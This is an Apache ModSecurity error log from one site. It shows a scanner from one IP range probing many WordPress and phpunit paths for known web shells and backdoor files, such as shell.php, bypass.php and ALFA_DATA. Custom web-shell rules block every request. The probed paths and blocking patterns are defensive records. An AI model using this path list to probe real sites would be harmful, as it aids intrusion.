[Sat Feb 28 08:57:48.609135 2026] [:error] [pid 11791:tid 11809] [client 173.244.55.21:45809] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/shell.php"] [unique_id "aaI9jGuX5e1Q32gqxH1VawAAARA"]
[Sat Feb 28 08:57:50.401866 2026] [:error] [pid 39184:tid 39222] [client 173.244.55.29:22721] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aaI9jltZF9Zd_U7easCRZQAAAEM"]
[Sat Feb 28 08:57:51.292529 2026] [proxy_fcgi:error] [pid 11791:tid 11814] [client 173.244.55.20:25355] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:57:52.178410 2026] [:error] [pid 11791:tid 11799] [client 173.244.55.20:25355] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/about.php"] [unique_id "aaI9kGuX5e1Q32gqxH1VvwAAAQY"]
[Sat Feb 28 08:57:53.969175 2026] [:error] [pid 39185:tid 39264] [client 173.244.55.23:36647] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-head.php"] [unique_id "aaI9kRVE-FfM89u7BQa4qgAAAJI"]
[Sat Feb 28 08:57:54.868441 2026] [proxy_fcgi:error] [pid 11791:tid 11801] [client 173.244.55.21:58529] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:57:55.321075 2026] [:error] [pid 11791:tid 11793] [client 173.244.55.21:58529] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/admin-footer.php"] [unique_id "aaI9k2uX5e1Q32gqxH1WDQAAAQA"]
[Sat Feb 28 08:57:57.099457 2026] [proxy_fcgi:error] [pid 39185:tid 39249] [client 173.244.55.29:22227] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:57:57.549076 2026] [:error] [pid 39185:tid 39264] [client 173.244.55.29:22227] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aaI9lRVE-FfM89u7BQa49QAAAJI"]
[Sat Feb 28 08:57:59.327147 2026] [:error] [pid 22194:tid 22217] [client 173.244.55.30:43003] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aaI9l36mbajs3bzQGyvGDQAAAVU"]
[Sat Feb 28 08:58:01.226885 2026] [:error] [pid 11791:tid 11799] [client 173.244.55.21:46413] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/edit.php"] [unique_id "aaI9mWuX5e1Q32gqxH1WtwAAAQY"]
[Sat Feb 28 08:58:02.555812 2026] [proxy_fcgi:error] [pid 22194:tid 22208] [client 173.244.55.29:53135] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:58:02.998194 2026] [:error] [pid 22194:tid 22200] [client 173.244.55.29:53135] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/autoload_classmap.php"] [unique_id "aaI9mn6mbajs3bzQGyvGRwAAAUQ"]
[Sat Feb 28 08:58:03.877491 2026] [:error] [pid 39185:tid 39265] [client 173.244.55.22:46225] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/autoload_classmap.php"] [unique_id "aaI9mxVE-FfM89u7BQa5EgAAAJM"]
[Sat Feb 28 08:58:05.658909 2026] [:error] [pid 22194:tid 22210] [client 173.244.55.31:29901] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aaI9nX6mbajs3bzQGyvGawAAAU4"]
[Sat Feb 28 08:58:06.984796 2026] [:error] [pid 22194:tid 22214] [client 173.244.55.23:58665] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/bypass.php"] [unique_id "aaI9nn6mbajs3bzQGyvGiAAAAVI"]
[Sat Feb 28 08:58:08.326022 2026] [:error] [pid 39292:tid 39311] [client 173.244.55.30:31427] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/bypass_1.php"] [unique_id "aaI9oKIAO5fN7BxyqcFQSgAAANE"]
[Sat Feb 28 08:58:09.219458 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.28:48615] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/bypass_1.php"] [unique_id "aaI9oWuX5e1Q32gqxH1XCgAAAQk"]
[Sat Feb 28 08:58:10.106220 2026] [:error] [pid 39184:tid 39219] [client 173.244.55.31:49145] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/bypass_1.php"] [unique_id "aaI9oltZF9Zd_U7easCSHAAAAEA"]
[Sat Feb 28 08:58:11.444463 2026] [:error] [pid 39292:tid 39305] [client 173.244.55.29:55365] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/elementskit.php"] [unique_id "aaI9o6IAO5fN7BxyqcFQcgAAAMs"]
[Sat Feb 28 08:58:12.316837 2026] [:error] [pid 39183:tid 39211] [client 173.244.55.22:45831] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/elementskit.php"] [unique_id "aaI9pBCf4HvhVePw3LauagAAABM"]
[Sat Feb 28 08:58:14.102724 2026] [:error] [pid 39292:tid 39295] [client 173.244.55.26:35805] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aaI9pqIAO5fN7BxyqcFQnAAAAME"]
[Sat Feb 28 08:58:15.010448 2026] [proxy_fcgi:error] [pid 39184:tid 39224] [client 173.244.55.25:40749] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:58:15.453482 2026] [:error] [pid 39184:tid 39238] [client 173.244.55.25:40749] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aaI9p1tZF9Zd_U7easCSXAAAAFM"]
[Sat Feb 28 08:58:16.334172 2026] [:error] [pid 39183:tid 39193] [client 173.244.55.26:56881] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aaI9qBCf4HvhVePw3LaujAAAAAE"]
[Sat Feb 28 08:58:17.222348 2026] [:error] [pid 39292:tid 39300] [client 173.244.55.21:50007] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aaI9qaIAO5fN7BxyqcFQwQAAAMY"]
[Sat Feb 28 08:58:18.092524 2026] [:error] [pid 11791:tid 11799] [client 173.244.55.25:27061] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aaI9qmuX5e1Q32gqxH1XnAAAAQY"]
[Sat Feb 28 08:58:18.987256 2026] [:error] [pid 39183:tid 39192] [client 173.244.55.23:46593] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aaI9qhCf4HvhVePw3LauoQAAAAA"]
[Sat Feb 28 08:58:20.361197 2026] [:error] [pid 39185:tid 39257] [client 173.244.55.29:21637] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aaI9rBVE-FfM89u7BQa5zQAAAIs"]
[Sat Feb 28 08:58:21.244321 2026] [:error] [pid 39185:tid 39269] [client 173.244.55.29:22443] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aaI9rRVE-FfM89u7BQa51QAAAJc"]
[Sat Feb 28 08:58:23.917165 2026] [:error] [pid 39185:tid 39266] [client 173.244.55.30:45249] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aaI9rxVE-FfM89u7BQa5_gAAAJQ"]
[Sat Feb 28 08:58:26.677229 2026] [:error] [pid 22194:tid 22213] [client 173.244.55.26:59233] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/"] [unique_id "aaI9sn6mbajs3bzQGyvHgAAAAVE"]
[Sat Feb 28 08:58:32.610256 2026] [:error] [pid 11791:tid 11809] [client 173.244.55.20:39377] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "aaI9uGuX5e1Q32gqxH1Y_QAAARA"]
[Sat Feb 28 08:58:33.507457 2026] [:error] [pid 11791:tid 11810] [client 173.244.55.21:50251] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "aaI9uWuX5e1Q32gqxH1ZEQAAARE"]
[Sat Feb 28 08:58:37.513172 2026] [:error] [pid 39183:tid 39202] [client 173.244.55.23:23683] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/dist/"] [unique_id "aaI9vRCf4HvhVePw3LavYwAAAAo"]
[Sat Feb 28 08:58:39.704661 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.29:22663] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aaI9v2uX5e1Q32gqxH1ZmgAAAQk"]
[Sat Feb 28 08:58:40.581014 2026] [:error] [pid 39183:tid 39196] [client 173.244.55.23:22355] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aaI9wBCf4HvhVePw3LavewAAAAQ"]
[Sat Feb 28 08:58:41.475809 2026] [:error] [pid 39183:tid 39212] [client 173.244.55.23:63865] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aaI9wRCf4HvhVePw3LavgAAAABQ"]
[Sat Feb 28 08:58:44.128465 2026] [:error] [pid 39185:tid 39259] [client 173.244.55.25:35141] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aaI9xBVE-FfM89u7BQa6gQAAAI0"]
[Sat Feb 28 08:58:45.008081 2026] [:error] [pid 39292:tid 39299] [client 173.244.55.31:48831] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aaI9xaIAO5fN7BxyqcFR1gAAAMU"]
[Sat Feb 28 08:58:46.327541 2026] [:error] [pid 39292:tid 39318] [client 173.244.55.28:59449] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/"] [unique_id "aaI9xqIAO5fN7BxyqcFR4wAAANg"]
[Sat Feb 28 08:58:49.493280 2026] [:error] [pid 39184:tid 39229] [client 173.244.55.30:20647] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/"] [unique_id "aaI9yVtZF9Zd_U7easCTRgAAAEo"]
[Sat Feb 28 08:58:52.187242 2026] [:error] [pid 22194:tid 22205] [client 173.244.55.21:31863] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/"] [unique_id "aaI9zH6mbajs3bzQGyvJVgAAAUk"]
[Sat Feb 28 08:58:54.401537 2026] [:error] [pid 39184:tid 39242] [client 173.244.55.25:49803] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/"] [unique_id "aaI9zltZF9Zd_U7easCTjgAAAFc"]
[Sat Feb 28 08:58:55.732613 2026] [:error] [pid 39184:tid 39243] [client 173.244.55.29:53707] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/meta/"] [unique_id "aaI9z1tZF9Zd_U7easCTqAAAAFg"]
[Sat Feb 28 08:58:56.614158 2026] [:error] [pid 22194:tid 22206] [client 173.244.55.31:49413] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/meta/"] [unique_id "aaI90H6mbajs3bzQGyvJiAAAAUo"]
[Sat Feb 28 08:58:57.493755 2026] [:error] [pid 39184:tid 39230] [client 173.244.55.25:65359] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/meta/"] [unique_id "aaI90VtZF9Zd_U7easCTwQAAAEs"]
[Sat Feb 28 08:59:04.159175 2026] [:error] [pid 39183:tid 39196] [client 173.244.55.28:31325] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/images/slider/"] [unique_id "aaI92BCf4HvhVePw3LawVAAAAAQ"]
[Sat Feb 28 08:59:05.052381 2026] [:error] [pid 39292:tid 39309] [client 173.244.55.31:60913] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/images/slider/"] [unique_id "aaI92aIAO5fN7BxyqcFS2gAAAM8"]
[Sat Feb 28 08:59:10.007022 2026] [:error] [pid 11791:tid 11798] [client 173.244.55.23:25719] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/components/"] [unique_id "aaI93muX5e1Q32gqxH1biQAAAQU"]
[Sat Feb 28 08:59:19.436100 2026] [:error] [pid 11791:tid 11813] [client 173.244.55.26:32385] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-includes/IXR/"] [unique_id "aaI952uX5e1Q32gqxH1b6wAAARQ"]
[Sat Feb 28 08:59:22.599656 2026] [:error] [pid 22194:tid 22208] [client 173.244.55.31:49517] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/"] [unique_id "aaI96n6mbajs3bzQGyvKxwAAAUw"]
[Sat Feb 28 08:59:23.956932 2026] [:error] [pid 39183:tid 39214] [client 173.244.55.21:31913] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/plupload/"] [unique_id "aaI96xCf4HvhVePw3LaxAgAAABY"]
[Sat Feb 28 08:59:25.731215 2026] [:error] [pid 22194:tid 22215] [client 173.244.55.26:21549] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aaI97X6mbajs3bzQGyvK9AAAAVM"]
[Sat Feb 28 08:59:27.510378 2026] [:error] [pid 39185:tid 39251] [client 173.244.55.28:30073] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/ALFA_DATA/alfacgiapi/"] [unique_id "aaI97xVE-FfM89u7BQa8cQAAAIU"]
[Sat Feb 28 08:59:30.189398 2026] [:error] [pid 11791:tid 11810] [client 173.244.55.30:49671] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/cache-wordpress/"] [unique_id "aaI98muX5e1Q32gqxH1chwAAARE"]
[Sat Feb 28 08:59:31.077282 2026] [:error] [pid 11791:tid 11804] [client 173.244.55.20:50413] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/cache-wordpress/"] [unique_id "aaI982uX5e1Q32gqxH1cjgAAAQs"]
[Sat Feb 28 08:59:32.842607 2026] [:error] [pid 39292:tid 39308] [client 173.244.55.28:63887] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/cekidot/"] [unique_id "aaI99KIAO5fN7BxyqcFUTwAAAM4"]
